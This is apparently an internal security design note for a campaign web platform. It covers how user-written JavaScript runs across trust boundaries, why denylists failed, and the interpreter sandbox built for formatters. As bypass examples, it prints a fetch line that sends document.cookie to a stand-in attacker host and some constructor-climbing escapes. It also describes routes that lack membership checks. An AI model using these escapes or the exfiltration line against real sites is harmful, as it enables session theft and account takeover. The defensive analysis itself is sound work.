Skip to content

Script Execution Trust Boundaries

Status: 🟢 Shipped (v0.45.0) for the passive surfaces; 🟡 Committed decision for the action surface. Scope: every place the platform executes JavaScript that a user wrote, in a browser belonging to a different user. Origin: raised while writing the "Where formatting logic lives (code vs. data)" subsection of 5-character-sheet-overhaul/requirements.md, which assumes the campaign-scoped renderFunction tier is "sandboxed". Before v0.45.0 it was not.

1. The question

Campaign data carries user-authored JavaScript in three places. For each, the question that decides everything else is: does someone choose to run this, or does it run at them?

# Surface Author Runs in Trigger Boundary
1 Token/campaign actions + campaign functions (IAction.code) any campaign participant every participant who clicks it explicit click Accepted — §3
2 IPropType.renderFunction any campaign participant every viewer of a token/sheet passive — hover, render Not accepted — §4
3 Bar valueFunction any campaign participant every viewer of the map passive — every render Not accepted — §4

Surfaces 2 and 3 are materially different from surface 1 and always were. A player who clicks another player's action has made a choice comparable to running a macro someone handed them. A player who moves their mouse across the map has made no choice at all — and the code that runs gets the same ambient authority the app itself has: fetch, localStorage, the DOM, and the Clerk session token. That is account takeover triggered by hover.

The "Author" column says any campaign participant, not campaign owner, deliberately. See §6 — the server does not currently check.

2. What was actually there (pre-v0.45.0)

Three surfaces, three different fictions:

  • ActionExecutor.validateAction() implemented a denylist of dangerous patterns — and a repo-wide grep found call sites only in actionExecutor.test.ts. No execution path called it. Actions compiled and ran through new AsyncFunction(...) with no check whatsoever. The function was dead code whose presence implied a control that did not exist, and the test suite asserted that implication was true.
  • compileRenderFunction() in propTypes.ts ran new Function('"use strict"; return (' + source + ')')() with no validation at all, on the passive hover path.
  • validateExpression() in safeEval.ts was wired up — but its SAFE_GLOBALS allowlist was commented out behind a TODO: Implement whitelist validation, leaving a regex denylist (/\beval\b/, /\bconstructor\b/, /\bwindow\b/, …) in front of new Function.

Why the denylists could not have worked

They matched source text, and the thing they guarded (new Function) accepts any spelling of the same program:

v["con" + "structor"]["con" + "structor"]("return globalThis")()
v[["cons","tructor"].join("")]
globalThis["fet" + "ch"]("https://attacker.example/?c=" + document.cookie)

None of these match /\bconstructor\b/, /\bfetch\b/, or /\bdocument\b/. A denylist in front of a compiler is a spelling test, not a boundary. This is the whole argument for §4.

3. Decision: actions are an accepted trust boundary

Accepted, deliberately, and documented at the compilation site.

Actions exist to drive the application: roll dice, mutate token state, emit chat, request rolls from other clients, apply damage. That is ambient authority over the session, and it is the feature. They are player-initiated, and the platform's sharing model is invitation-based: campaign membership is a social trust decision the user already made.

What changed in v0.45.0 is honesty, not enforcement:

  • ActionExecutor.validateAction() was deleted. Wiring it in was the other option and was rejected: it would have broken legitimate actions (any action whose string content mentions prototype, any use of import in a comment) while stopping no attacker, and would have converted a visible no-op into an invisible false guarantee.
  • The compilation site now carries a TRUST BOUNDARY comment stating plainly that action code runs with full page authority and that nothing sandboxes it.
  • The JsCodeEditor linter's warnings were reworded. They used to say window and fetch were "not available in action code" — untrue, and readable as enforcement. They now say discouraged, which is what they are.
  • Syntax checking for authors stays in the editors (ActionEditor.validateCode, JsCodeEditor's linter), where a syntax error is feedback rather than a security claim.

This decision is revisitable and should be revisited if the product changes in any of these ways: public/joinable campaigns (no invitation step), marketplace or import of third-party campaign content, or any flow where a user runs an action authored by someone they have not chosen to trust. See §7 for what the fix would cost.

4. Decision: passive surfaces are not an accepted boundary — sandboxed

renderFunction and bar valueFunction now evaluate in an allowlist sandbox: packages/shared/src/sandbox/.

There is no new Function, no eval, and no code generation on these paths. User source is tokenized, parsed into a small AST, and executed by a tree-walking interpreter. The security argument is structural rather than enumerative: syntax the grammar does not include has no implementation to reach.

What the language is

Expressions: literals, template literals, arrays, objects, + - * / % **, comparisons, && || ?? !, typeof, ternaries, member access (static and computed), calls, optional chaining, arrow functions (expression- and block-bodied), const/let, return, if/else.

Not in the grammar, therefore a parse error: assignment, new, function, class, this, await/async, import, loops, try/throw, delete, void, in, instanceof, spread, regex literals, tagged templates, increment/decrement, computed object keys, __proto__ as an object key.

Reachable values: the arguments/scope the caller passes in, plus one frozen table — Math (no random), Number, String, Boolean, Array.isArray, Object.keys/values/entries, parseInt, parseFloat, isNaN, isFinite — and per-type method allowlists for strings, numbers and arrays.

The three properties that make it a boundary

  1. No host object graph is exposed. Property reads go through one gate (getMember), which serves own data properties only: no prototype chain, so no constructor to climb to Function; and no getters, so reading a value cannot run host code. Methods like .join() are wrappers built in runtime.ts, not host functions handed out from a prototype.
  2. Host functions never become callable. Any function value reaching the sandbox as data is replaced with undefined. Operators that would invoke valueOf/toString on an object operand use an internal conversion instead, so a hostile toString in application data cannot re-enter.
  3. Computed keys get the same treatment as literal ones. v["con"+"structor"] is checked on the resolved key, so the string-construction bypass class — the one that defeated the denylist — does not exist.

Plus liveness: step, call-depth and string-length budgets, so a formatter running per-token per-frame cannot hang the tab ((n) => f(n)+1, "x".repeat(1e9)).

Behavioural consequences, accepted

  • A formatter using syntax outside the grammar (a loop, new Date()) stops working and falls back to default formatting, with one console.warn per distinct source. No shipped formatter is affected — every renderFunction in demoData.ts and the system fixtures, and every stock bar template, is covered by tests.
  • Formatters can no longer mutate the value they format (there is no assignment). This was never intended and no shipped formatter did it.

Where this is pinned

Test Pins
packages/shared/src/sandbox/sandbox.escapes.test.ts ~70 escape attempts — compiler access, ambient authority, prototype climbing, string-built keys, host re-entry, DoS — all refused
packages/shared/src/sandbox/sandbox.test.ts the grammar, and every formatter/bar expression the platform ships
packages/shared/src/sandbox/noDynamicCodeOnPassivePaths.guard.test.ts that propTypes.ts, safeEval.ts and hoverProperties.ts contain no new Function / new AsyncFunction / eval, and do route through the sandbox
apps/web/src/utils/safeEval.test.ts, propTypes.renderFunction.test.ts the same boundary at the consumer, in the shape the hover/render path calls it

The guard test lives in packages/shared on purpose: apps/web's test script is a echo "No tests yet" stub, so a guard placed beside the files it checks would never run in CI and could never fail a build.

5. Rule for new surfaces

Before executing user-authored source, ask who triggers it:

  • Passive (renders, hovers, subscriptions, background refreshes) → the sandbox, no exceptions. compileSandboxedFunction / evaluateSandboxedExpression.
  • Explicitly invoked → may use the action path, but must be documented here and at the call site, and must be invoked by a real user gesture rather than something a page can trigger on its own.

Never a denylist in front of a compiler. If the sandbox is too narrow for a new use, widen GLOBALS in runtime.ts (one table, reviewable) rather than reaching for new Function.

6. Residual finding — server-side authorization (NOT fixed here)

The "Author" column in §1 says any campaign participant. That is generous: the campaign-scoped routes that store script-bearing data enforce authentication only, never campaign membership or ownership:

Route Guard Membership check
POST/PATCH /api/campaigns/:campaignId/prop-types requireAuthWithImpersonation ✗ none
POST/PATCH /api/campaigns/:campaignId/bars requireAuthWithImpersonation ✗ none
POST/PATCH /api/campaigns/:campaignId/functions requireAuthWithImpersonation ✗ none
POST/PATCH /api/campaigns/:campaignId/actions requireAuthWithImpersonation ✗ none
PATCH /api/tokens/:id requireAuthWithImpersonation ✗ none

So any authenticated account that knows or guesses a campaign id can write a renderFunction or valueFunction into that campaign. Before v0.45.0 that was a remote-code-execution primitive against every member of the campaign, available to any account. It is now a way to write a formatter that the sandbox refuses to run — materially reduced, but still unauthorized writes to another user's campaign.

checkCampaignAccess(userId, campaignId) already exists in utils/campaignAccess.ts and is used by maps.ts, campaignCharacters.ts, catExport.ts, deleteInfo.ts and tokenOwnership.ts. Applying it to the routes above is the fix. It is deliberately out of scope for this change — it alters authorization behaviour across many routes, needs its own API tests, and risks breaking seeding/import flows that write campaign traits. It should be its own commit, and it is the highest-value follow-up in this area.

7. If the action decision is ever revisited

Sandboxing actions is a version-scale project, not a patch. Recorded so the estimate does not have to be rediscovered:

  1. Actions are inherently effectful — token.setProperty, applyDamage, sendMessage, target.requestRoll, draw. A sandbox for them is not "no host access" but "host access only through an audited API".
  2. The natural home is a Worker, with the action API exposed as async RPC. That breaks two things campaign scripts rely on today: roll() being usable without await, and self-mutation being detected by the JSON-diff of context.token.metadata before/after the run.
  3. Every existing campaign's actions would need migration, since sync proxies become promises.
  4. A cheaper interim step, if a public-campaign feature lands before the full project: gate action execution on authorship — run without prompting when the action was authored by the campaign owner or the executing user, and show a one-time "this action was written by X, run it?" confirmation otherwise. That converts the passive-adjacent case (clicking an unfamiliar token's action) into an informed one without touching the runtime.

8. Files

Path Role
packages/shared/src/sandbox/ the sandbox — tokenizer → parser → interpreter, with runtime.ts holding the value model and the entire reachable-name table
apps/web/src/utils/propTypes.ts renderFunction compilation (surface 2)
apps/web/src/utils/safeEval.ts bar valueFunction evaluation (surface 3)
apps/web/src/utils/actionExecutor.ts action compilation (surface 1) — carries the TRUST BOUNDARY comment